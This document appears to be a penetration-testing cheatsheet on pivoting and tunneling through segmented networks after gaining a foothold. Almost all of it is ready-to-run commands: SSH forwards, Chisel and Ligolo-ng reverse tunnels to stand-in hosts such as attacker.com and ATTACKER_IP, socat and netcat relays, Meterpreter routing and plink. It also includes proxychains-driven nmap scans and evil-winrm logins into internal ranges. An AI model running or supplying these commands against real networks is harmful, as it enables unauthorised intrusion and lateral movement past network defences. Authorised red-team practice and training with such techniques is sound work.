Network segmentation is a common obstacle during pentests. Once you have a foothold in a segment, tunneling lets you reach further internal resources. This cheatsheet covers every reliable tunneling technique.
SSH Tunneling Local Port Forwarding Make a remote port accessible locally:
ssh -L 8080:target-internal:80 user@jump-host ssh -L 3389:192.168.1.100:3389 user@public-server ssh -L 8080:web:80 -L 3306:db:3306 user@jump-host ssh -L 8080:target:80 -N -f user@jump-host
Remote Port Forwarding Expose a port on the target back to your machine:
ssh -R 4444:localhost:4444 user@attacker.com ssh -R 0.0.0.0:4444:localhost:4444 user@attacker.com
Dynamic Port Forwarding (SOCKS Proxy) ssh -D 1080 user@jump-host -N -fecho "socks5 127.0.0.1 1080" >> /etc/proxychains.conf proxychains nmap -sT -Pn 192.168.2.0/24 proxychains curl http://internal-server/ proxychains evil-winrm -i 192.168.2.100 -u admin -p pass
Chisel Fast TCP/UDP tunneling over HTTP with authentication. Works through firewalls.
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz gzip -d chisel_linux_amd64.gz && chmod +x chisel_linux_amd64
SOCKS Proxy via Chisel ./chisel server -p 9001 --reverse --auth user:pass ./chisel client --auth user:pass ATTACKER_IP:9001 R:socks proxychains nmap -sT -Pn 192.168.2.1
Port Forward via Chisel ./chisel server -p 9001 --reverse ./chisel client ATTACKER_IP:9001 R:3306:localhost:3306 mysql -h 127.0.0.1 -P 3306 -u root
Ligolo-ng Modern tunneling with TUN interface — tools work natively, no proxychains needed.
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/proxy_linux_amd64 wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent_linux_amd64 ip tuntap add user root mode tun ligolo ip link set ligolo up ./proxy -selfcert ./agent -connect ATTACKER_IP:11601 -ignore-cert session ifconfig start ip route add 192.168.2.0/24 dev ligolo
socat socat TCP-LISTEN:8080,fork TCP:internal-server:80 socat -v TCP-LISTEN:8080,fork TCP:internal-server:80 socat UDP-LISTEN:1234,fork UDP:internal-server:1234 socat OPENSSL-LISTEN:443,cert=server.pem,fork TCP:internal:80
Netcat Port Forwarding mkfifo /tmp/fifo nc -l -p 8080 < /tmp/fifo | nc internal-server 80 > /tmp/fifo ncat -l -p 8080 --sh-exec "ncat internal-server 80"
Meterpreter Pivoting route add 192.168.2.0/24 SESSION_ID use auxiliary/server/socks_proxyset VERSION 5set SRVPORT 1080 run -j proxychains nmap -sT 192.168.2.0/24 portfwd add -l 8080 -p 80 -r 192.168.2.10
plink (Windows SSH) On Windows targets without SSH:
plink.exe -ssh -D 1080 user@attacker.com -N plink.exe -ssh -L 8080:internal:80 user@attacker.com -N plink.exe -ssh -R 4444:localhost:4444 user@attacker.com -N
rpivot Reverse SOCKS proxy — useful when only outbound HTTP is allowed:
python server.py --proxy-port 1080 --server-port 9999 python client.py --server-ip ATTACKER_IP --server-port 9999
Proxychains Configuration [ProxyList] socks5 127.0.0.1 1080 proxychains4 nmap -sT -Pn -p 80,443,3306 192.168.2.0/24 proxychains4 curl http://internal-service/ proxychains4 firefox &
Double Pivot (Multi-Hop) Reach a third network segment:
proxychains4 scp chisel Pivot2:/tmp/
Quick Selection Guide
Scenario
Tool
SSH access to pivot
SSH -D (SOCKS) or -L (port forward)
HTTP/firewall restricted
Chisel
Want native routing (no proxychains)
Ligolo-ng
Windows target, no SSH
plink or chisel
Meterpreter session
route add + socks_proxy
Quick relay, any OS
socat
No comments yet. Be the first.